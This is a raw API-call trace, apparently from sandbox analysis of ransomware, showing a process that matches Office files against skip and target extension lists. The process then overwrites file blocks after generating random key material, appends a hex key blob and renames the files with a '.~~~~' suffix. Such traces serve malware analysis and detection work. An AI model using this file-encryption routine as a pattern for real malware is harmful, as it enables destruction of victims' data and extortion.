	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b9e0
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b9e0 | out: hHeap=0x300000) returned 1
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.110] GetLastError () returned 0x0
	[0080.110] GetLastError () returned 0x0
	[0080.110] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.110] GetLastError () returned 0x0
	[0080.110] GetLastError () returned 0x0
	[0080.112] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.242] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.242] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.248] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.248] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.249] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.249] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.249] CloseHandle (hObject=0x128) returned 1
	[0080.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.~~~~")) returned 1
	[0080.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.250] GetLastError () returned 0x0
	[0080.250] RtlWakeConditionVariable () returned 0x365f70
	[0080.251] GetCurrentThreadId () returned 0x9f4
	[0080.251] GetCurrentThreadId () returned 0x9f4
	[0080.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbbc0 | out: hHeap=0x300000) returned 1
	[0080.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba88 | out: hHeap=0x300000) returned 1
	[0080.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbbc0
	[0080.251] lstrlenW (lpString=".scr") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".scr") returned 0x0
	[0080.251] lstrlenW (lpString=".cmd") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".cmd") returned 0x0
	[0080.251] lstrlenW (lpString=".dll") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dll") returned 0x0
	[0080.251] lstrlenW (lpString=".bat") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".bat") returned 0x0
	[0080.251] lstrlenW (lpString=".cpl") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".cpl") returned 0x0
	[0080.251] lstrlenW (lpString=".sys") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".sys") returned 0x0
	[0080.251] lstrlenW (lpString=".msc") returned 4
	[0080.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".msc") returned 0x0
	[0080.251] lstrlenW (lpString=".com") returned 4
	[0080.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".com") returned 0x0
	[0080.252] lstrlenW (lpString=".lnk") returned 4
	[0080.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".lnk") returned 0x0
	[0080.252] lstrlenW (lpString=".msp") returned 4
	[0080.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".msp") returned 0x0
	[0080.252] lstrlenW (lpString=".pif") returned 4
	[0080.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".pif") returned 0x0
	[0080.252] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.253] lstrlenW (lpString=".sqb") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".sqb") returned 0x0
	[0080.253] lstrlenW (lpString=".ost") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".ost") returned 0x0
	[0080.253] lstrlenW (lpString=".txt") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".txt") returned 0x0
	[0080.253] lstrlenW (lpString=".mdt") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".mdt") returned 0x0
	[0080.253] lstrlenW (lpString=".BDB") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".BDB") returned 0x0
	[0080.253] lstrlenW (lpString=".eql") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".eql") returned 0x0
	[0080.253] lstrlenW (lpString=".DBF") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DBF") returned 0x0
	[0080.253] lstrlenW (lpString=".EQL") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".EQL") returned 0x0
	[0080.253] lstrlenW (lpString=".FDB") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".FDB") returned 0x0
	[0080.253] lstrlenW (lpString=".EDB") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".EDB") returned 0x0
	[0080.253] lstrlenW (lpString=".DACPAC") returned 7
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.253] lstrlenW (lpString=".VHD") returned 4
	[0080.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".VHD") returned 0x0
	[0080.253] lstrlenW (lpString=".DBV") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DBV") returned 0x0
	[0080.254] lstrlenW (lpString=".dacpac") returned 7
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dacpac") returned 0x0
	[0080.254] lstrlenW (lpString=".sdf") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".sdf") returned 0x0
	[0080.254] lstrlenW (lpString=".accdb") returned 6
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".accdb") returned 0x0
	[0080.254] lstrlenW (lpString=".DBX") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DBX") returned 0x0
	[0080.254] lstrlenW (lpString=".MDT") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".MDT") returned 0x0
	[0080.254] lstrlenW (lpString=".SQB") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".SQB") returned 0x0
	[0080.254] lstrlenW (lpString=".vhd") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".vhd") returned 0x0
	[0080.254] lstrlenW (lpString=".bac") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".bac") returned 0x0
	[0080.254] lstrlenW (lpString=".mdf") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".mdf") returned 0x0
	[0080.254] lstrlenW (lpString=".BAK") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".BAK") returned 0x0
	[0080.254] lstrlenW (lpString=".BAC") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".BAC") returned 0x0
	[0080.254] lstrlenW (lpString=".dbs") returned 4
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dbs") returned 0x0
	[0080.254] lstrlenW (lpString=".vhdx") returned 5
	[0080.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".vhdx") returned 0x0
	[0080.255] lstrlenW (lpString=".NDF") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".NDF") returned 0x0
	[0080.255] lstrlenW (lpString=".dat") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dat") returned 0x0
	[0080.255] lstrlenW (lpString=".DBS") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DBS") returned 0x0
	[0080.255] lstrlenW (lpString=".CKP") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".CKP") returned 0x0
	[0080.255] lstrlenW (lpString=".edb") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".edb") returned 0x0
	[0080.255] lstrlenW (lpString=".PST") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".PST") returned 0x0
	[0080.255] lstrlenW (lpString=".dbf") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dbf") returned 0x0
	[0080.255] lstrlenW (lpString=".SQL") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".SQL") returned 0x0
	[0080.255] lstrlenW (lpString=".pst") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".pst") returned 0x0
	[0080.255] lstrlenW (lpString=".dbv") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dbv") returned 0x0
	[0080.255] lstrlenW (lpString=".SDF") returned 4
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".SDF") returned 0x0
	[0080.255] lstrlenW (lpString=".dtxs") returned 5
	[0080.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dtxs") returned 0x0
	[0080.256] lstrlenW (lpString=".db3") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".db3") returned 0x0
	[0080.256] lstrlenW (lpString=".OST") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".OST") returned 0x0
	[0080.256] lstrlenW (lpString=".dbx") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dbx") returned 0x0
	[0080.256] lstrlenW (lpString=".DB3") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DB3") returned 0x0
	[0080.256] lstrlenW (lpString=".DAT") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DAT") returned 0x0
	[0080.256] lstrlenW (lpString=".VHDX") returned 5
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".VHDX") returned 0x0
	[0080.256] lstrlenW (lpString=".ndf") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".ndf") returned 0x0
	[0080.256] lstrlenW (lpString=".DB") returned 3
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DB") returned 0x0
	[0080.256] lstrlenW (lpString=".sql") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".sql") returned 0x0
	[0080.256] lstrlenW (lpString=".MYD") returned 4
	[0080.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".MYD") returned 0x0
	[0080.256] lstrlenW (lpString=".DBT") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DBT") returned 0x0
	[0080.257] lstrlenW (lpString=".ACCDB") returned 6
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.257] lstrlenW (lpString=".fdb") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".fdb") returned 0x0
	[0080.257] lstrlenW (lpString=".bak") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".bak") returned 0x0
	[0080.257] lstrlenW (lpString=".myd") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".myd") returned 0x0
	[0080.257] lstrlenW (lpString=".DTXS") returned 5
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".DTXS") returned 0x0
	[0080.257] lstrlenW (lpString=".ckp") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".ckp") returned 0x0
	[0080.257] lstrlenW (lpString=".dbt") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".dbt") returned 0x0
	[0080.257] lstrlenW (lpString=".db") returned 3
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".db") returned 0x0
	[0080.257] lstrlenW (lpString=".TXT") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".TXT") returned 0x0
	[0080.257] lstrlenW (lpString=".MDF") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".MDF") returned 0x0
	[0080.257] lstrlenW (lpString=".bdb") returned 4
	[0080.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".bdb") returned 0x0
	[0080.258] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.258] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.259] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.259] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.259] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20025234316) returned 1
	[0080.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99b11f50, dwHighDateTime=0x1d60e1e)) 
	[0080.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280ba88
	[0080.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba88 | out: hHeap=0x300000) returned 1
	[0080.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fba90
	[0080.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.263] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.264] GetLastError () returned 0x0
	[0080.264] GetLastError () returned 0x0
	[0080.264] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.264] GetLastError () returned 0x0
	[0080.264] GetLastError () returned 0x0
	[0080.265] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.272] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.272] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.272] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.272] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.276] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.276] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.276] CloseHandle (hObject=0x128) returned 1
	[0080.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.~~~~")) returned 1
	[0080.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.278] GetLastError () returned 0x0
	[0080.278] RtlWakeConditionVariable () returned 0x365f70
	[0080.278] GetCurrentThreadId () returned 0x9f4
	[0080.278] GetCurrentThreadId () returned 0x9f4
	[0080.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
